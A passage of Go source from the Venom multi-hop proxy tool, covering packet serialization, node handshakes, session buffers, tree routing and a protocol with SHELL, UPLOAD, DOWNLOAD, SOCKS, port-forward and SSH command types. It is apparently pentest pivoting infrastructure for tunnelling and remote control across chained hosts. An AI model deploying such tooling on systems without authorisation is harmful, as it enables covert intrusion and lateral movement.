132 | // 如HashID字段是通过HashIDLen指明长度的
133 | // 并且要求HashIDLen在结构体中的位置在HashID之前
134 | temp := v.FieldByName(t.Field(i).Name + "Len")
135 | // 类型断言,要求长度字段类型必须为uint16、uint32或uint64
136 | var length uint64
137 | switch lengthTemp := temp.Interface().(type) {
138 | case uint64:
139 | length = lengthTemp
140 | case uint32:
141 | length = uint64(lengthTemp)
142 | case uint16:
143 | length = uint64(lengthTemp)
144 | }
145 | // 如果长度为0,就不需要读数据了
146 | if length != 0 {
147 | if length > global.MAX_PACKET_SIZE+uint64(crypto.OVERHEAD) {
148 | return nil
149 | }
150 | buf := make([]byte, length)
151 | _, err := Read(input, buf[0:])
152 | if err != nil {
153 | return err
154 | }
155 | f.SetBytes(buf)
156 | }
157 | case [2]byte:
158 | var buf [2]byte
159 | _, err := Read(input, buf[0:])
160 | if err != nil {
161 | return err
162 | }
163 | f.Set(reflect.ValueOf(buf))
164 | case [4]byte:
165 | var buf [4]byte
166 | _, err := Read(input, buf[0:])
167 | if err != nil {
168 | return err
169 | }
170 | f.Set(reflect.ValueOf(buf))
171 | case [32]byte:
172 | var buf [32]byte
173 | _, err := Read(input, buf[0:])
174 | if err != nil {
175 | return err
176 | }
177 | // 使用reflect给array类型赋值的方法
178 | f.Set(reflect.ValueOf(buf))
179 | default:
180 | return errors.New("type unsupport")
181 | }
182 | }
183 | return nil
184 | }
185 |
186 | func Read(input io.Reader, buffer []byte) (int, error) {
187 | n, err := io.ReadFull(input, buffer)
188 | if err != nil {
189 | // log.Println("[-]Read Error: ", err)
190 | }
191 | return n, err
192 | }
193 |
194 | func Write(output io.Writer, buffer []byte) (int, error) {
195 | if len(buffer) > 0 {
196 | n, err := output.Write(buffer)
197 | if err != nil {
198 | // log.Println("[-]Write Error: ", err)
199 | }
200 | return n, err
201 | }
202 | return 0, nil
203 | }
204 |
205 | // if found, return PROTOCOL_SEPARATOR
206 | func readUntilSeparator(input io.Reader, separator string) (string, error) {
207 | kmp, _ := utils.NewKMP(separator)
208 | i := 0
209 | var one [1]byte
210 | for {
211 | _, err := Read(input, one[0:])
212 | if err != nil {
213 | return "", err
214 | }
215 | if kmp.Pattern[i] == one[0] {
216 | if i == kmp.Size-1 {
217 | return kmp.Pattern, nil
218 | }
219 | i++
220 | continue
221 | }
222 | if kmp.Prefix[i] > -1 {
223 | i = kmp.Prefix[i]
224 | } else {
225 | i = 0
226 | }
227 | }
228 | }
229 |
230 | func NetCopy(input, output net.Conn) (err error) {
231 | defer input.Close()
232 |
233 | buf := make([]byte, global.MAX_PACKET_SIZE)
234 | for {
235 | count, err := input.Read(buf)
236 | if err != nil {
237 | if err == io.EOF && count > 0 {
238 | output.Write(buf[:count])
239 | }
240 | if err != io.EOF {
241 | log.Fatalln("[-]Read error:", err)
242 | }
243 | break
244 | }
245 | if count > 0 {
246 | output.Write(buf[:count])
247 | }
248 | }
249 | return
250 | }
251 |
--------------------------------------------------------------------------------
/node/buffer.go:
--------------------------------------------------------------------------------
1 | package node
2 |
3 | import (
4 | "errors"
5 | "io"
6 | "log"
7 | "sync"
8 |
9 | "github.com/Dliv3/Venom/global"
10 | "github.com/Dliv3/Venom/protocol"
11 | )
12 |
13 | type Buffer struct {
14 | Chan chan interface{}
15 | }
16 |
17 | func NewBuffer() *Buffer {
18 | return &Buffer{
19 | Chan: make(chan interface{}, global.BUFFER_SIZE),
20 | }
21 | }
22 |
23 | func (buffer *Buffer) ReadLowLevelPacket() (protocol.Packet, error) {
24 | packet := <-buffer.Chan
25 | switch packet.(type) {
26 | case protocol.Packet:
27 | return packet.(protocol.Packet), nil
28 | case error:
29 | return protocol.Packet{}, io.EOF
30 | default:
31 | return protocol.Packet{}, errors.New("Data Type Error")
32 | }
33 | }
34 |
35 | func (buffer *Buffer) ReadPacket(packetHeader *protocol.PacketHeader, packetData interface{}) error {
36 | packet, err := buffer.ReadLowLevelPacket()
37 | if err != nil {
38 | return err
39 | }
40 | if packetHeader != nil {
41 | packet.ResolveHeader(packetHeader)
42 | }
43 | if packetData != nil {
44 | packet.ResolveData(packetData)
45 | }
46 | return nil
47 | }
48 |
49 | func (buffer *Buffer) WriteLowLevelPacket(packet protocol.Packet) {
50 | buffer.Chan <- packet
51 | }
52 |
53 | func (buffer *Buffer) WriteBytes(data []byte) {
54 | buffer.Chan <- data
55 | }
56 |
57 | func (buffer *Buffer) ReadBytes() ([]byte, error) {
58 | if buffer == nil {
59 | return nil, errors.New("Buffer is null")
60 | }
61 | data := <-buffer.Chan
62 | // select {
63 | // case <-time.After(time.Second * TIME_OUT):
64 | // return nil, errors.New("TimeOut")
65 | // case data := <-buffer.Chan:
66 | // switch data.(type) {
67 | // case []byte:
68 | // return data.([]byte), nil
69 | // // Fix Bug : socks5连接不会断开的问题
70 | // case error:
71 | // return nil, io.EOF
72 | // default:
73 | // return nil, errors.New("Data Type Error")
74 | // }
75 | // }
76 | switch data.(type) {
77 | case []byte:
78 | return data.([]byte), nil
79 | // Fix Bug : socks5连接不会断开的问题
80 | case error:
81 | return nil, io.EOF
82 | default:
83 | return nil, errors.New("Data Type Error")
84 | }
85 | }
86 |
87 | // Fix Bug : socks5连接不会断开的问题
88 | func (buffer *Buffer) WriteCloseMessage() {
89 | if buffer != nil {
90 | buffer.Chan <- io.EOF
91 | }
92 | }
93 |
94 | type DataBuffer struct {
95 | // 数据信道缓冲区
96 | DataBuffer [global.TCP_MAX_CONNECTION]*Buffer
97 | DataBufferLock *sync.RWMutex
98 |
99 | // Session ID
100 | SessionID uint16
101 | SessionIDLock *sync.Mutex
102 | }
103 |
104 | func NewDataBuffer() *DataBuffer {
105 | return &DataBuffer{
106 | SessionIDLock: &sync.Mutex{},
107 | DataBufferLock: &sync.RWMutex{},
108 | }
109 | }
110 |
111 | func (dataBuffer *DataBuffer) GetDataBuffer(sessionID uint16) *Buffer {
112 | if int(sessionID) > len(dataBuffer.DataBuffer) {
113 | log.Println("[-]DataBuffer sessionID error: ", sessionID)
114 | return nil
115 | }
116 | dataBuffer.DataBufferLock.RLock()
117 | defer dataBuffer.DataBufferLock.RUnlock()
118 | return dataBuffer.DataBuffer[sessionID]
119 | }
120 |
121 | func (dataBuffer *DataBuffer) NewDataBuffer(sessionID uint16) {
122 | dataBuffer.DataBufferLock.Lock()
123 | defer dataBuffer.DataBufferLock.Unlock()
124 | dataBuffer.DataBuffer[sessionID] = NewBuffer()
125 | }
126 |
127 | func (dataBuffer *DataBuffer) RealseDataBuffer(sessionID uint16) {
128 | dataBuffer.DataBufferLock.Lock()
129 | defer dataBuffer.DataBufferLock.Unlock()
130 | dataBuffer.DataBuffer[sessionID] = nil
131 | }
132 |
133 | func (dataBuffer *DataBuffer) GetSessionID() uint16 {
134 | dataBuffer.SessionIDLock.Lock()
135 | defer dataBuffer.SessionIDLock.Unlock()
136 | id := dataBuffer.SessionID
137 | dataBuffer.SessionID = (dataBuffer.SessionID + 1) % global.TCP_MAX_CONNECTION
138 | return id
139 | }
140 |
--------------------------------------------------------------------------------
/node/global.go:
--------------------------------------------------------------------------------
1 | package node
2 |
3 | import "github.com/Dliv3/Venom/utils"
4 |
5 | // CurrentNode 当前节点
6 | var CurrentNode = Node{
7 | IsAdmin: 0,
8 | HashID: utils.NewUUID(),
9 | // Conn: nil, // 当前节点无需使用Conn
10 | // ConnReadLock: nil,
11 | // ConnWriteLock: nil,
12 | // Socks5SessionIDLock: nil,
13 | }
14 |
15 | var GNetworkTopology = NetworkTopology{
16 | RouteTable: make(map[string]string),
17 | NetworkMap: make(map[string]([]string)),
18 | }
19 |
20 | var GNodeInfo = NodeInfo{
21 | NodeNumber2UUID: make(map[int]string),
22 | NodeUUID2Number: make(map[string]int),
23 | NodeDescription: make(map[string]string),
24 | }
25 |
26 | // Nodes 与当前节点连接的节点
27 | var Nodes = make(map[string]*Node)
28 |
--------------------------------------------------------------------------------
/node/init.go:
--------------------------------------------------------------------------------
1 | package node
2 |
3 | import (
4 | "errors"
5 | "log"
6 | "net"
7 |
8 | "github.com/Dliv3/Venom/global"
9 | "github.com/Dliv3/Venom/netio"
10 | "github.com/Dliv3/Venom/protocol"
11 | "github.com/Dliv3/Venom/utils"
12 | )
13 |
14 | var ERR_UNKNOWN_CMD = errors.New("Unknown command type")
15 |
16 | func ServerInitConnection(conn net.Conn) (bool, *Node) {
17 | // 端口重用模式下发送的一段垃圾数据
18 | netio.Write(conn, []byte(global.PROTOCOL_FEATURE))
19 |
20 | var PacketHeader protocol.PacketHeader
21 | netio.ReadPacket(conn, &PacketHeader)
22 |
23 | if PacketHeader.Separator != global.PROTOCOL_SEPARATOR ||
24 | PacketHeader.CmdType != protocol.INIT {
25 | log.Println("[-]InitPacket error: separator or cmd type")
26 | conn.Close()
27 | return false, nil
28 | }
29 |
30 | var initPacketCmd protocol.InitPacketCmd
31 | netio.ReadPacket(conn, &initPacketCmd)
32 |
33 | initPacketRet := protocol.InitPacketRet{
34 | OsType: utils.GetSystemType(),
35 | HashID: utils.UUIDToArray32(CurrentNode.HashID),
36 | IsAdmin: 0,
37 | }
38 | size, _ := utils.PacketSize(initPacketRet)
39 | PacketHeader = protocol.PacketHeader{
40 | Separator: global.PROTOCOL_SEPARATOR,
41 | CmdType: protocol.INIT,
42 | DataLen: size,
43 | }
44 | netio.WritePacket(conn, PacketHeader)
45 | netio.WritePacket(conn, initPacketRet)
46 |
47 | // clientNode := &Node{
48 | // HashID: utils.Array32ToUUID(initPacketCmd.HashID),
49 | // IsAdmin: initPacketCmd.IsAdmin,
50 | // Conn: conn,
51 | // ConnReadLock: &sync.Mutex{},
52 | // ConnWriteLock: &sync.Mutex{},
53 | // // Socks5SessionIDLock: &sync.Mutex{},
54 | // // Socks5DataBufferLock: &sync.RWMutex{},
55 | // DirectConnection: true,
56 | // }
57 | // clientNode.InitDataBuffer()
58 |
59 | clientNode := NewNode(
60 | initPacketCmd.IsAdmin,
61 | utils.Array32ToUUID(initPacketCmd.HashID),
62 | conn,
63 | true,
64 | )
65 |
66 | Nodes[utils.Array32ToUUID(initPacketCmd.HashID)] = clientNode
67 | clientNodeID := utils.Array32ToUUID(initPacketCmd.HashID)
68 | GNetworkTopology.AddRoute(clientNodeID, clientNodeID)
69 | GNetworkTopology.AddNetworkMap(CurrentNode.HashID, clientNodeID)
70 | GNodeInfo.AddNode(clientNodeID)
71 |
72 | return true, clientNode
73 | }
74 |
75 | func ClentInitConnection(conn net.Conn) (bool, *Node) {
76 | // 端口重用模式下发送的一段垃圾数据
77 | netio.Write(conn, []byte(global.PROTOCOL_FEATURE))
78 |
79 | // Node的初始状态为UNINIT,所以首先CurrentNode会向连接的对端发送init packet
80 | initPacketCmd := protocol.InitPacketCmd{
81 | OsType: utils.GetSystemType(),
82 | HashID: utils.UUIDToArray32(CurrentNode.HashID),
83 | IsAdmin: 0,
84 | }
85 | size, _ := utils.PacketSize(initPacketCmd)
86 | PacketHeader := protocol.PacketHeader{
87 | Separator: global.PROTOCOL_SEPARATOR,
88 | CmdType: protocol.INIT,
89 | DataLen: size,
90 | }
91 | netio.WritePacket(conn, PacketHeader)
92 | netio.WritePacket(conn, initPacketCmd)
93 |
94 | // 读取返回包
95 | // init阶段可以看做连接建立阶段,双方进行握手后交换信息
96 | // 所有init阶段无需校验数据包中的DstHashID,因为此时双方还没有获取双方的HashID
97 | netio.ReadPacket(conn, &PacketHeader)
98 | if PacketHeader.Separator != global.PROTOCOL_SEPARATOR ||
99 | PacketHeader.CmdType != protocol.INIT {
100 | log.Println("[-]InitPacket error: separator or cmd type error")
101 | conn.Close()
102 | return false, nil
103 | }
104 | var initPacketRet protocol.InitPacketRet
105 | netio.ReadPacket(conn, &initPacketRet)
106 | // 新建节点加入map
107 | // serverNode := &Node{
108 | // HashID: utils.Array32ToUUID(initPacketRet.HashID),
109 | // IsAdmin: initPacketRet.IsAdmin,
110 | // Conn: conn,
111 | // ConnReadLock: &sync.Mutex{},
112 | // ConnWriteLock: &sync.Mutex{},
113 | // // Socks5SessionIDLock: &sync.Mutex{},
114 | // // Socks5DataBufferLock: &sync.RWMutex{},
115 | // DirectConnection: true,
116 | // }
117 | // serverNode.InitDataBuffer()
118 |
119 | serverNode := NewNode(
120 | initPacketRet.IsAdmin,
121 | utils.Array32ToUUID(initPacketRet.HashID),
122 | conn,
123 | true,
124 | )
125 |
126 | Nodes[utils.Array32ToUUID(initPacketRet.HashID)] = serverNode
127 |
128 | serverNodeID := utils.Array32ToUUID(initPacketRet.HashID)
129 | GNetworkTopology.AddRoute(serverNodeID, serverNodeID)
130 | GNetworkTopology.AddNetworkMap(CurrentNode.HashID, serverNodeID)
131 | GNodeInfo.AddNode(serverNodeID)
132 |
133 | return true, serverNode
134 | }
135 |
--------------------------------------------------------------------------------
/node/net.go:
--------------------------------------------------------------------------------
1 | package node
2 |
3 | import (
4 | "net"
5 | "runtime"
6 |
7 | "github.com/Dliv3/Venom/global"
8 | "github.com/Dliv3/Venom/protocol"
9 | "github.com/Dliv3/Venom/utils"
10 | )
11 |
12 | func CopyNet2Node(input net.Conn, output *Node, currentSessionID uint16, protocolType uint16, c chan bool) error {
13 | buf := make([]byte, global.MAX_PACKET_SIZE-8)
14 | var err error
15 | var count int
16 | for {
17 | count, err = input.Read(buf)
18 | // fmt.Println(count)
19 | // fmt.Println(buf[:count])
20 | // fmt.Println(string(buf[:count]))
21 | socks5Data := protocol.NetDataPacket{
22 | SessionID: currentSessionID,
23 | DataLen: uint32(count),
24 | Data: buf[:count],
25 | }
26 | size, _ := utils.PacketSize(socks5Data)
27 | packetHeader := protocol.PacketHeader{
28 | Separator: global.PROTOCOL_SEPARATOR,
29 | CmdType: protocolType,
30 | SrcHashID: utils.UUIDToArray32(CurrentNode.HashID),
31 | DstHashID: utils.UUIDToArray32(output.HashID),
32 | DataLen: size,
33 | }
34 | if err != nil {
35 | // fmt.Println(err)
36 | if count > 0 {
37 | output.WritePacket(packetHeader, socks5Data)
38 | }
39 | break
40 | }
41 | if count > 0 {
42 | output.WritePacket(packetHeader, socks5Data)
43 | }
44 | }
45 | c <- true
46 | // fmt.Println("==================== CopyNet2Node Done! ====================")
47 | return err
48 | }
49 |
50 | func CopyNode2Net(input *Node, output net.Conn, currentSessionID uint16, protocolType uint16, c chan bool) error {
51 | var err error
52 | var data []byte
53 | for {
54 | data, err = input.DataBuffers[protocolType].GetDataBuffer(currentSessionID).ReadBytes()
55 | if err != nil {
56 | // fmt.Println(err)
57 | input.DataBuffers[protocolType].RealseDataBuffer(currentSessionID)
58 | runtime.GC()
59 | output.Close()
60 | break
61 | }
62 | output.Write(data)
63 | }
64 | // fmt.Println("==================== CopyNode2Net Done! ====================")
65 | c <- true
66 | return err
67 | }
68 |
--------------------------------------------------------------------------------
/node/node.go:
--------------------------------------------------------------------------------
1 | package node
2 |
3 | import (
4 | "fmt"
5 | "log"
6 | "net"
7 | "sync"
8 |
9 | "github.com/Dliv3/Venom/global"
10 | "github.com/Dliv3/Venom/netio"
11 | "github.com/Dliv3/Venom/protocol"
12 | "github.com/Dliv3/Venom/utils"
13 | )
14 |
15 | // Node 节点
16 | type Node struct {
17 | IsAdmin uint16 // Node是否是Admin
18 | HashID string // Node的HashID
19 | Conn net.Conn // 与Node的TCP连接
20 |
21 | // Conn的锁,因为Conn读写Packet的时候如果不加锁,多个routine会出现乱序的情况
22 | ConnReadLock *sync.Mutex
23 | ConnWriteLock *sync.Mutex
24 |
25 | // 控制信道缓冲区
26 | CommandBuffers map[uint16]*Buffer
27 |
28 | // 数据信道缓冲区
29 | DataBuffers map[uint16]*DataBuffer
30 |
31 | // 是否与本节点直接连接
32 | DirectConnection bool
33 |
34 | // Socks5Running bool // 防止admin node在一个agent上开启多个连接
35 | }
36 |
37 | func NewNode(isAdmin uint16, hashID string, conn net.Conn, directConnection bool) *Node {
38 | newNode := &Node{
39 | HashID: hashID,
40 | IsAdmin: isAdmin,
41 | Conn: conn,
42 | ConnReadLock: &sync.Mutex{},
43 | ConnWriteLock: &sync.Mutex{},
44 | DirectConnection: directConnection,
45 | }
46 | newNode.InitDataBuffer()
47 | return newNode
48 | }
49 |
50 | // CommandHandler 协议数据包,将协议数据包分类写入Buffer
51 | func (node *Node) CommandHandler(peerNode *Node) {
52 | defer peerNode.Disconnect()
53 | for {
54 | var lowLevelPacket protocol.Packet
55 | err := peerNode.ReadLowLevelPacket(&lowLevelPacket)
56 | if err != nil {
57 | fmt.Println("node disconnect: ", err)
58 | return
59 | }
60 | switch utils.Array32ToUUID(lowLevelPacket.DstHashID) {
61 | case node.HashID:
62 | if lowLevelPacket.Separator == global.PROTOCOL_SEPARATOR {
63 | switch lowLevelPacket.CmdType {
64 | case protocol.SYNC:
65 | fallthrough
66 | case protocol.LISTEN:
67 | fallthrough
68 | case protocol.CONNECT:
69 | fallthrough
70 | case protocol.SHELL:
71 | fallthrough
72 | case protocol.UPLOAD:
73 | fallthrough
74 | case protocol.DOWNLOAD:
75 | fallthrough
76 | case protocol.SOCKS:
77 | fallthrough
78 | case protocol.LFORWARD:
79 | fallthrough
80 | case protocol.RFORWARD:
81 | fallthrough
82 | case protocol.SSHCONNECT:
83 | node.CommandBuffers[lowLevelPacket.CmdType].WriteLowLevelPacket(lowLevelPacket)
84 | case protocol.SOCKSDATA:
85 | fallthrough
86 | case protocol.LFORWARDDATA:
87 | fallthrough
88 | case protocol.RFORWARDDATA:
89 | var data protocol.NetDataPacket
90 | lowLevelPacket.ResolveData(&data)
91 | peerNodeID := utils.Array32ToUUID(lowLevelPacket.SrcHashID)
92 | if Nodes[peerNodeID].DataBuffers[lowLevelPacket.CmdType].GetDataBuffer(data.SessionID) != nil {
93 | if data.Close == 1 {
94 | Nodes[peerNodeID].DataBuffers[lowLevelPacket.CmdType].GetDataBuffer(data.SessionID).WriteCloseMessage()
95 | } else {
96 | // 只将数据写入数据buffer,不写入整个packet
97 | Nodes[peerNodeID].DataBuffers[lowLevelPacket.CmdType].GetDataBuffer(data.SessionID).WriteBytes(data.Data)
98 | }
99 | }
100 | default:
101 | log.Println(fmt.Sprintf("[-]%s", ERR_UNKNOWN_CMD))
102 | }
103 | } else {
104 | log.Println("[-]Separator error")
105 | }
106 | default:
107 | // 如果节点为Agent节点转发
108 | if node.IsAdmin == 0 {
109 | nextNode := GNetworkTopology.RouteTable[utils.Array32ToUUID(lowLevelPacket.DstHashID)]
110 | targetNode := Nodes[nextNode]
111 | if targetNode != nil {
112 | targetNode.WriteLowLevelPacket(lowLevelPacket)
113 | } else {
114 | log.Println("[-]Can not find target node")
115 | }
116 | } else {
117 | // fmt.Println("src id:", utils.Array32ToUUID(lowLevelPacket.SrcHashID))
118 | // fmt.Println("dst id:", utils.Array32ToUUID(lowLevelPacket.DstHashID))
119 | // fmt.Println("dst cmd type:", lowLevelPacket.CmdType)
120 | fmt.Println("[-]Target node error")
121 | }
122 | }
123 | }
124 | }
125 |
126 | func (node *Node) InitCommandBuffer() {
127 | node.CommandBuffers = make(map[uint16]*Buffer)
128 |
129 | node.CommandBuffers[protocol.SYNC] = NewBuffer()
130 | node.CommandBuffers[protocol.LISTEN] = NewBuffer()
131 | node.CommandBuffers[protocol.CONNECT] = NewBuffer()
132 | node.CommandBuffers[protocol.SOCKS] = NewBuffer()
133 | node.CommandBuffers[protocol.UPLOAD] = NewBuffer()
134 | node.CommandBuffers[protocol.DOWNLOAD] = NewBuffer()
135 | node.CommandBuffers[protocol.SHELL] = NewBuffer()
136 | node.CommandBuffers[protocol.LFORWARD] = NewBuffer()
137 | node.CommandBuffers[protocol.RFORWARD] = NewBuffer()
138 | node.CommandBuffers[protocol.SSHCONNECT] = NewBuffer()
139 | }
140 |
141 | func (node *Node) InitDataBuffer() {
142 | node.DataBuffers = make(map[uint16]*DataBuffer)
143 |
144 | node.DataBuffers[protocol.SOCKSDATA] = NewDataBuffer()
145 | node.DataBuffers[protocol.LFORWARDDATA] = NewDataBuffer()
146 | node.DataBuffers[protocol.RFORWARDDATA] = NewDataBuffer()
147 | }
148 |
149 | // TODO 只有与断掉节点之间相连的节点才会清理路由表/网络拓扑表/节点标号等
150 | // 暂无法做到对全网所有节点的如下信息进行清理,这样有些麻烦,暂时也不是刚需
151 | func (node *Node) Disconnect() {
152 | node.Conn.Close()
153 | // 删除网络拓扑
154 | GNetworkTopology.DeleteNode(node)
155 | // 删除节点
156 | delete(Nodes, node.HashID)
157 | // 删除结构体
158 | node = nil
159 | }
160 |
161 | func (node *Node) ReadLowLevelPacket(packet interface{}) error {
162 | node.ConnReadLock.Lock()
163 | defer node.ConnReadLock.Unlock()
164 | err := netio.ReadPacket(node.Conn, packet)
165 | if err != nil {
166 | return err
167 | }
168 | return nil
169 | }
170 |
171 | func (node *Node) WriteLowLevelPacket(packet interface{}) error {
172 | node.ConnWriteLock.Lock()
173 | defer node.ConnWriteLock.Unlock()
174 | err := netio.WritePacket(node.Conn, packet)
175 | if err != nil {
176 | return err
177 | }
178 | return nil
179 | }
180 |
181 | // func (node *Node) ReadPacket(header *protocol.PacketHeader, packet interface{}) error {
182 | // node.ConnReadLock.Lock()
183 | // defer node.ConnReadLock.Unlock()
184 |
185 | // // 读数据包的头部字段
186 | // err := netio.ReadPacket(node.Conn, header)
187 | // if err != nil {
188 | // return err
189 | // }
190 | // // 读数据包的数据字段
191 | // err = netio.ReadPacket(node.Conn, packet)
192 | // if err != nil {
193 | // return err
194 | // }
195 | // return nil
196 | // }
197 |
198 | func (node *Node) WritePacket(header protocol.PacketHeader, packet interface{}) error {
199 |
200 | node.ConnWriteLock.Lock()
201 | defer node.ConnWriteLock.Unlock()
202 |
203 | if global.SECRET_KEY != nil {
204 | // 加密, 将Packet.Data部分整个加密
205 | cryptPacket := protocol.Packet{}
206 | cryptPacket.PackHeader(header)
207 | cryptPacket.PackData(packet)
208 | err := netio.WritePacket(node.Conn, cryptPacket)
209 | if err != nil {
210 | return err
211 | }
212 | return nil
213 | }
214 |
215 | // 写数据包的头部字段
216 | header.DataLen, _ = utils.PacketSize(packet)
217 | err := netio.WritePacket(node.Conn, header)
218 | if err != nil {
219 | return err
220 | }
221 | // 写数据包的数据字段
222 | err = netio.WritePacket(node.Conn, packet)
223 | if err != nil {
224 | return err
225 | }
226 | return nil
227 | }
228 |
229 | type NodeInfo struct {
230 | // 节点编号,已被分配的节点编号不会在节点断开后分给新加入网络的节点
231 | NodeNumber2UUID map[int]string
232 | NodeUUID2Number map[string]int
233 | // 节点描述
234 | NodeDescription map[string]string
235 | }
236 |
237 | // NodeExist 节点是否存在
238 | func (info *NodeInfo) NodeExist(nodeID string) bool {
239 | if _, ok := info.NodeUUID2Number[nodeID]; ok {
240 | return true
241 | }
242 | return false
243 | }
244 |
245 | // AddNode 添加一个节点并为节点编号
246 | func (info *NodeInfo) AddNode(nodeID string) {
247 | number := len(info.NodeNumber2UUID) + 1
248 | info.NodeNumber2UUID[number] = nodeID
249 | info.NodeUUID2Number[nodeID] = number
250 | }
251 |
252 | // UpdateNoteInfo 根据路由表信息给节点编号
253 | func (info *NodeInfo) UpdateNoteInfo() {
254 | for key := range GNetworkTopology.RouteTable {
255 | if !info.NodeExist(key) {
256 | info.AddNode(key)
257 | }
258 | }
259 | }
260 |
--------------------------------------------------------------------------------
/node/route.go:
--------------------------------------------------------------------------------
1 | package node
2 |
3 | import (
4 | "strings"
5 |
6 | "github.com/Dliv3/Venom/utils"
7 | )
8 |
9 | // NetworkTopology 网络拓扑
10 | // RouteTable 路由表, 路由表的Key为目标节点, Value为下一跳节点,注意在该多级代理的应用场景中,暂不支持节点间形成环路的情况
11 | // 从管理节点到其他节点,有且仅有一条道路,所以不涉及路由选路的问题,即仅支持树形拓扑
12 | // NetworkMap 网络拓扑, key为节点id,value为该节点下直接连接的节点id
13 | type NetworkTopology struct {
14 | RouteTable map[string]string
15 | NetworkMap map[string]([]string)
16 | }
17 |
18 | func (nt *NetworkTopology) recursiveUpdateRouteTable(root string, key string) {
19 | if value, ok := nt.NetworkMap[key]; ok {
20 | for _, v := range value {
21 | // avoid adding the current node to the route table
22 | if v != CurrentNode.HashID {
23 | // 避免成环
24 | if _, ok := nt.RouteTable[v]; !ok {
25 | nt.RouteTable[v] = root
26 | nt.recursiveUpdateRouteTable(root, v)
27 | }
28 | }
29 | }
30 | }
31 | }
32 |
33 | // UpdateRouteTable 通过NeworkMap中的数据生成路由表
34 | func (nt *NetworkTopology) UpdateRouteTable() {
35 | // 清空现有路由表,这样当有节点断开时网络拓扑会实时改变
36 | nt.RouteTable = make(map[string]string)
37 |
38 | if value, ok := nt.NetworkMap[CurrentNode.HashID]; ok {
39 | for _, v := range value {
40 | nt.RouteTable[v] = v
41 | nt.recursiveUpdateRouteTable(v, v)
42 | }
43 | }
44 | }
45 |
46 | // AddRoute 在路由表中添加一条路由表
47 | func (nt *NetworkTopology) AddRoute(targetNode string, nextNode string) {
48 | nt.RouteTable[targetNode] = nextNode
49 | }
50 |
51 | // AddNetworkMap 向网络拓扑中添加节点,key为父节点,nodeId为子节点
52 | func (nt *NetworkTopology) AddNetworkMap(parent string, chlid string) {
53 | nt.NetworkMap[parent] = append(nt.NetworkMap[parent], chlid)
54 | }
55 |
56 | // InitNetworkMap 初始化网络拓扑, 初始网络拓扑仅包含与本节点直接相连的节点
57 | func (nt *NetworkTopology) InitNetworkMap() {
58 | nt.NetworkMap = make(map[string]([]string))
59 | for i := range Nodes {
60 | if Nodes[i].DirectConnection {
61 | nt.AddNetworkMap(CurrentNode.HashID, Nodes[i].HashID)
62 | }
63 | }
64 | }
65 |
66 | // ResolveNetworkMapData 解析SyncPacket中包含的NetworkMap数据
67 | func (nt *NetworkTopology) ResolveNetworkMapData(data []byte) {
68 | var networkMap = strings.Split(string(data), "$")
69 | for i := range networkMap {
70 | each := strings.Split(networkMap[i], "#")
71 | key := each[0]
72 | var tempNodes []string
73 | if each[1] == "" {
74 | tempNodes = []string{}
75 | } else {
76 | tempNodes = strings.Split(each[1], "|")
77 | }
78 | if _, ok := nt.NetworkMap[key]; ok {
79 | nt.NetworkMap[key] = append(nt.NetworkMap[key], tempNodes...)
80 | } else {
81 | nt.NetworkMap[key] = tempNodes
82 | }
83 | nt.NetworkMap[key] = utils.RemoveDuplicateElement(nt.NetworkMap[key])
84 | }
85 | }
86 |
87 | // GenerateNetworkMapData 更具网络拓扑生成SyncPacket中使用的NetworkMap数据
88 | func (nt *NetworkTopology) GenerateNetworkMapData() []byte {
89 | var networkMap []string
90 |
91 | for key := range nt.NetworkMap {
92 | networkMap = append(networkMap, key+"#"+strings.Join(nt.NetworkMap[key], "|"))
93 | }
94 | var networkMapBytes = []byte(strings.Join(networkMap, "$"))
95 | return networkMapBytes
96 | }
97 |
98 | func (nt *NetworkTopology) DeleteNode(node *Node) {
99 | // 不需要刻意删除节点,因为节点是信息是动态改变的
100 |
101 | // 删除节点标号
102 | // 删除路由表
103 | // 删除网络拓扑
104 | // 删除节点描述
105 | }
106 |
--------------------------------------------------------------------------------
/protocol/protocol.go:
--------------------------------------------------------------------------------
1 | package protocol
2 |
3 | import (
4 | "bytes"
5 |
6 | "github.com/Dliv3/Venom/crypto"
7 | "github.com/Dliv3/Venom/global"
8 | "github.com/Dliv3/Venom/netio"
9 | )
10 |
11 | // 协议类型
12 | const (
13 | // 初始化,在node对象建立之前
14 | INIT = iota
15 | // 控制协议
16 | SYNC
17 | LISTEN
18 | CONNECT
19 | SHELL
20 | UPLOAD
21 | DOWNLOAD
22 | SOCKS
23 | LFORWARD
24 | RFORWARD
25 | SSHCONNECT
26 | // 数据传输协议
27 | SOCKSDATA
28 | LFORWARDDATA
29 | RFORWARDDATA
30 | )
31 |
32 | // Packet 是较为低层的数据包格式
33 | // 比Packet高层的网络数据存放在Data中
34 | // 如果Packet不属于本节点,则直接转发即可,无需解析Data格式
35 | type Packet struct {
36 | Separator string
37 | CmdType uint16
38 | SrcHashID [32]byte // 源节点ID
39 | DstHashID [32]byte // 目的节点ID
40 | DataLen uint64
41 | Data []byte
42 | }
43 |
44 | // ResolveData 解析Packet Data字段的数据为特定格式的数据包
45 | func (packet *Packet) ResolveData(cmdPacket interface{}) {
46 | // 如果有解密需求, 先解密
47 | if global.SECRET_KEY != nil {
48 | // fmt.Println(packet.DataLen)
49 | // fmt.Println(packet.Data)
50 | packet.Data, _ = crypto.Decrypt(packet.Data, global.SECRET_KEY)
51 | packet.DataLen = uint64(len(packet.Data))
52 | }
53 | // fmt.Println(packet.Data)
54 | // fmt.Println(packet.DataLen)
55 | netio.ReadPacket(bytes.NewBuffer(packet.Data), cmdPacket)
56 | }
57 |
58 | // PackData 将cmdPacket打包成byte
59 | func (packet *Packet) PackData(cmdPacket interface{}) {
60 | tmpBuffer := new(bytes.Buffer)
61 | netio.WritePacket(tmpBuffer, cmdPacket)
62 | packet.Data = tmpBuffer.Bytes()
63 | // 如果有加密需求, 后加密
64 | if global.SECRET_KEY != nil {
65 | packet.Data, _ = crypto.Encrypt(packet.Data, global.SECRET_KEY)
66 | }
67 | packet.DataLen = uint64(len(packet.Data))
68 | }
69 |
70 | // ResolveHeader 解析Packet数据包中PacketHeader字段
71 | func (packet *Packet) ResolveHeader(header *PacketHeader) {
72 | header.Separator = packet.Separator
73 | header.CmdType = packet.CmdType
74 | header.SrcHashID = packet.SrcHashID
75 | header.DstHashID = packet.DstHashID
76 | header.DataLen = packet.DataLen
77 | }
78 |
79 | func (packet *Packet) PackHeader(header PacketHeader) {
80 | packet.Separator = header.Separator
81 | packet.CmdType = header.CmdType
82 | packet.SrcHashID = header.SrcHashID
83 | packet.DstHashID = header.DstHashID
84 | packet.DataLen = header.DataLen
85 | }
86 |
87 | type PacketHeader struct {
88 | Separator string
89 | CmdType uint16
